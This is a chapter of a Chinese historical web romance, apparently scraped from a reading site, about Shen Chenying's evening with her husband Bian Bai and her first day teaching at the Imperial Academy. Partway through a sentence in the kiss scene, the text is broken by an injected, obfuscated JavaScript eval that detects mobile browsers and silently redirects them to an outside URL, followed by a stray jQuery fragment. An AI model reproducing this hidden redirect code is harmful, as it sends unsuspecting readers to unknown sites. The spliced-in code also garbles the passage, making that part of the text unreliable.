43. 纨绔

作品:《探花郎她是臣妻

    不知道为什么,沈沉英居然会有种被抓包的感觉。


    连带着她手里的绣品,都变得炙手可热起来。


    “去哪里了。”卞白语气很平淡,仿佛刚刚那个目光凛然的人不是他。


    “出去散散心罢了。”沈沉英故作镇定地回答,想要就此揭过此事,“本是有事与你相商,可女使们说你去了翰林院,我便自己出去转转了。”


    “只是自己吗?”


    卞白步步靠近她,似乎是要将她这副谨小慎微的模样尽收眼底。


    “路上遇到徐律,便一起了。”如今提及徐律的名字,连沈沉英自己都有些怕了,但转念一想,自己想提谁是自己的自由,她又没有做什么出格之事,凭什么不能提。


    “哦?”卞白冷笑了一声,“那你和他还真是缘分匪浅啊。”


    “还行,但也比不上和你缘分深厚不是吗。”沈沉英定在原地,认真地看着他。


    而这一番话,对卞白明显很受用,只见他的眼神肉眼可见的和缓了下来,随即又恢复成平日里那副目中无人的散漫模样。


    “你手里是什么。”


    沈沉英低头看了一眼,淡淡道:“徐律送的一个绣品,作为中秋贺礼。”


    “中秋贺礼。”卞白又重复地念了一遍。


    “他倒是有心。”


    有没有心沈沉英不知道,她只知道眼下还有更为棘手之事,她需得问个明白。


    “陈太傅为什么要让我去国子监?”


    “我怎么知道。”


    沈沉英沉默了片刻,嘴唇欲张,最后干硬地问道:“你是他宝贝学生,你不知道他是什么用意?”


    “你还是我妻子呢,我不是也不知道你居然和徐律鬼混了一天。”


    沈沉英:“……”


    “你,你别总是扯到徐律去,我和他真就是街上偶遇,再说了不过是个中秋贺礼,我日后也要还礼一份的。”


    “你还要还礼?”卞白一把拿过她手里的盒子,打开看了一眼,摇了摇头,“徐律就这眼光?”


    沈沉英一脸无语:“这是我自己挑的。”


    听此言,卞白也顾不上追究她为什么卞白送她的贺礼是她自己挑的了,只是嫌恶地把盒子塞回到她怀里,一副不悦的模样。


    “那你也品味差的很,从交友上就可以看出。”


    沈沉英懒得与他争辩,她觉得此刻的卞白像是一个蛮不讲理的稚儿,你越和他来劲,他越要拿捏着你的某处不放,孩子心性似的。


    “太晚了,我要去休息了。”


    “饭都没吃就休息?”


    沈沉英扭头就要走:“不饿。”


    卞白一手捏住她的细腕,将她扯到了自己身边,语气带着一丝玩味:“某非沈大人是天仙下凡,清晨喝两滴露珠便饱了。”


    “还是说,在外面偷吃饱了……”


    “你有病吧!”


    沈沉英鲜少骂人,除非忍不住,可这厮实在气人,要不是他比自己个头高了那么多,力气大了那么多,她早就动手了。


    可卞白的有病程度显然超出她的认知范畴,在她红着脸骂完他的下一刻,他便将人拥进怀里,嗅着她身上的味道,还是那令人沉醉的荷香。


    他难得和缓地放软了语气,在她耳边轻呢:“我早早便叫女使准备了吃食,陪我用些吧。”


    沈沉英浑身僵住,她从来没见过这样子的卞白。


    怎么这人上一秒还得理不饶人,下一秒就切换成一良家夫男的温柔模样……


    于是乎,自己就被迷迷糊糊地哄到了饭桌上,与他同座一起吃起了饭。


    卞白体贴得不像话,给她夹菜,还帮她吹凉,甚至亲自喂她。


    沈沉英躲开了他的投喂,尴尬道:“我自己来吧。”


    可卞白没有理会她这句话,而是强硬地喂到她嘴边,看她嫣红的唇随着皓齿咀嚼菜品而动着,看她眼里闪过一丝疑惑和不安,他的喉间不自觉地滚动了一下。


    吃着吃着,沈沉英也不抗拒了,因为这桌饭菜确实可口非常,加之后面卞白也停下了投喂,自己吃自己的了。


    “你当真不知道陈太傅是什么意思?”


    “无非就是阻止苏闫的人进内阁罢了。”卞白难得态度好了些,给她认真解释着,“至于为什么选择你,可能是因为你建造祭台有功吧。”


    “可这样一来,苏闫岂不是要恨死我。”沈沉英无奈地笑了笑。


    “他本来就挺恨你的,还差国子监这档子事?”


    说的也是,从她设计让苏畅掉坑时起,她就注定要与苏闫站在对立面,并且斗到底。


    “况且官家本就有意选择你,陈权安不过是顺着圣意提了出来罢了,他俩唱双簧你都看不出?”


    这……沈沉英还真没看出来。


    “只是国子监恐怕也是一烂摊子,苏家和薛家的几个纨绔都在里面,本想靠着薛问青拟题,好在朝中谋个一官半职做做的,你一来,他们一定会想办法把你赶走,或者让你知难而退。”


    本来还觉得没什么的沈沉英一听卞白这么说,气就被引上来了。


    平民子弟争破脑袋,千军万马过独木桥,一路参加各种考试,通过科举做官,而这些世家贵族子弟,凭借祖上父辈的权势,可以经国子监求学,即获得在朝为官的机会。如此居然还想作弊!


    这样对其他监生来说,未免太不公平了!


    “这世道本就是不公平的。”像是看穿了沈沉英的心事,卞白淡淡道,“所以……”


    “小沈大人愿意当这杆公平的秤吗?”


    沈沉英抬头看他,眼眸微动,手掌也不自觉紧攥成一团。


    她当然愿意,可她自己都是一介微末,如何能大庇天下寒士俱欢颜。


    卞白也不逗她了,专心地往她碗里夹菜,好像很热衷于把她喂成一直圆鼓鼓的小河豚,看她腮帮子用劲儿,看她满腹心事地咀嚼。


    最后沈沉英实在吃不下了,摸了摸胀起的肚子,摆手道:“别夹了别夹了,我吃不下了。”看他碗里干干净净的,她皱了皱眉头,“你自己怎么都不吃?”


    “难道你不饿吗?”


    卞白笑了,他放下了筷子,认真地盯着她看,看得她心里发毛。


    “怎,怎么……”话还没有说完,沈沉英的嘴就被堵住了,她没来得及合上唇,因此轻而易举地被卞白攻破。


    沈沉英觉得,卞白在这上面似乎有着某种天赋,明明第一次还是很鲁莽很急促地侵略,毫无技巧和章法,显得青涩着急,但接连几次下来,他似乎在这方面突飞猛进了,会先强势进攻,然后在渐入佳境后几次三番地故意挑逗。


    像沈沉英这样内敛的女子,很容易的就软下了身子,任君采撷。


    迷迷瞪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457047|185097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞪的,她似乎听到卞白在她耳边呢喃着:“我确实饿了……”


    他的气息环绕在耳边,如同含着耳垂般,沈沉英居然嘤咛了一下。


    这一下,卞白动作都停了下来,垂眸,略微诧异地看了她一眼。


    只见她面色酡红,唇瓣微肿,眼眶含泪,楚楚动人。


    他真的好想……


    也是这一瞬间,沈沉英的眼神迅速恢复清明,赶忙挣脱开卞白,连嘴都顾不上擦,落荒而逃。


    卞白看着她的背影,忍不住发笑,无奈摇了摇头。


    ……


    次日,沈沉英在工部交代完工作后,与潘长原行平礼。


    “潘大人,这段日子要辛苦你了。”


    潘长原回礼,只是一想到这个姓沈的小白脸上次居然没有被搞下去,心里难免觉得可惜,但碍于面上,也不得不违心道:“沈大人言重,这也是潘某的职责。”


    沈沉英点头,带着一个侍从离开了。


    她此次任务也算繁重,需要将历年国子监的考题都阅览一遍,然后再作答一遍,与那些夫子们一同研讨。


    而出题之人也不会只有她一个,还有其他夫子们各出一题,这样也保证了考题的公平性。


    只是这才第一天,便有人给她找不痛快了。


    “小沈大人今年多大了,和薛夫子一般岁数吗?”


    “我看着好像要小很多呢,看上去比我都小。”


    “小沈大人逛过花楼吗?学生可以带您去逛逛,我把我那个老相好介绍给您啊。”


    一直在她身旁喋喋不休的人,正是苏闫的第三子,有名的上京纨绔子弟,苏昀。


    有个权倾朝野的爹,加上上头两个权臣哥哥,被送来国子监读书,也是懒散豪横惯了的。


    沈沉英站了起来,目光微冷:“若非求学上的事,就不要与我过多言语了。”


    可下一瞬,苏昀也跟着站了起来,个头竟然高出她一大截,身材精壮,和她形成了十分鲜明的体型差。


    其他学子默默看着这一切,等待着一场好戏上演。


    “没必要这么严肃吧小沈大人。”苏昀缓缓靠近她,“您不用防我防这么死,我这人没什么抱负,当不当官的无所谓,只是人生苦短需得及时行乐,小沈大人确定不与我一同快活快活吗?”


    正所谓体型上差了半截,但气势绝不能输,否则再想压制住这些兔崽子们就难了。


    “人生苦短,有的人可以历经磨难,成长为青松,而有的人却只能做菟丝子花,将其他花草养分吸走后,等待凋亡。”


    一语话了,在场之人都静了下来,似乎是在惊叹这位新来的夫子,居然敢得罪苏三公子,当真是仕途不要了。


    可苏昀被捧惯了,突然有人敢这么比喻他,心里的趣味居然大于愤怒。


    他再次打量着眼前这个白嫩娇小的夫子,虽然同为男子,却总透着一丝让人血脉偾张的雀跃,皮肤白皙的简直和女人一样。


    他玩过的男女那么多,还是第一次见这样的。


    “小沈大人别这么说嘛,如果您愿意好好教导我,我或许也能成长为青松。”


    这番嬉皮笑脸,散漫泼皮的模样,沈沉英只觉得心里不适,嫌恶横生。


    她再次纠正:“在国子监,你不应当叫我小沈大人,而应当唤我沈夫子。”


    “可明了。”